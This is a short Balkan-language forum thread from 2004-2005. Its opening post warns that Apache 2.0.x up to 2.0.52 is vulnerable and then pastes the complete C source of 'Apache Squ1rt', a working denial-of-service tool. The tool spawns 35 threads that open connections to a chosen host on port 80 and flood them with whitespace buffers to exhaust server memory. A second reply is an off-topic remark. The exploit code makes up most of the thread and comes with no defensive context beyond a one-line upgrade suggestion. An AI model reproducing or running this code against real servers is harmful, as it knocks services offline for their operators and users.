banjalukaforum.com
https://www.banjalukaforum.com/

Apache exploit <= 2.0.52 (DoS)
https://www.banjalukaforum.com/viewtopic.php?f=14&t=10626
Stranica 1 od 1

Autoru:  Vertygo [ 18 Nov 2004, 15:46 ]
Tema posta:  Apache exploit <= 2.0.52 (DoS)

Sve verzije apachea 2.0.x ( pa i 2.0.52 ) su pogodjene ovim propustom
Solucija: prelazak na Apache 1.3.x dok se ne pojave zakrpe za 2.0.x.
/*
Apache Squ1rt, Denial of Service Proof of Concept
Tested on Apache 2.0.52
Apache never kills it. Takes up huge amounts of
RAM which increase with each connection.
*/
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#define DEST_PORT 80

void *squirtIt(char *hName);

char attackBuf[8000];
char letsGetStarted[128];

int main(int argc, char **argv){
int num_connect;
int ret;
pthread_t tid[35];

sprintf(letsGetStarted, "GET / HTTP/1.0\n");
memset(attackBuf, ' ', 8000);
attackBuf[7998]='\n';
attackBuf[7999]='\0';

if (argc != 2){
fprintf(stderr, "Usage: %s <host name> \n", argv[0]);
exit(1);
}

for(num_connect = 0; num_connect < 35; num_connect++){
ret = pthread_create(&tid[num_connect], NULL, (void *)squirtIt, argv[1]);
}

/* assuming any of these threads actually terminate, this waits for all of them */
for(num_connect = 0; num_connect < 35; num_connect++){
pthread_join(tid[num_connect], NULL);
}

return 0;
}

void *squirtIt(char *hName){
int sock, i;
struct hostent *target;
struct sockaddr_in addy;

if((target = gethostbyname(hName)) == NULL){
herror("gethostbyname()");
exit(1);
}

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket()");
exit(1);
}

addy.sin_family = AF_INET;
addy.sin_port = htons(DEST_PORT);
bcopy(target->h_addr, (char *)&addy.sin_addr, target->h_length );
memset(&(addy.sin_zero), '\0', 8);

if((connect(sock, (struct sockaddr*)&addy, sizeof(addy))) < 0){
perror("connect()");
exit(1);
}

send(sock, letsGetStarted, strlen(letsGetStarted), 0);

for(i=0; i < 8000; i++){
send(sock, attackBuf, strlen(attackBuf), 0);
}

close(sock);
}

Autoru:  SmileY [ 28 Jan 2005, 11:14 ]
Tema posta: 

zar su toliko retardirani da ne znaju ispraviti to ili sta vec?
pffffffffffff
offtopic: nadam se da je lesh stavio 2.052 :)

Stranica 1 od 1 Sva vremena su u UTC [ DST ]
Powered by phpBB® Forum Software © phpBB Group
http://www.phpbb.com/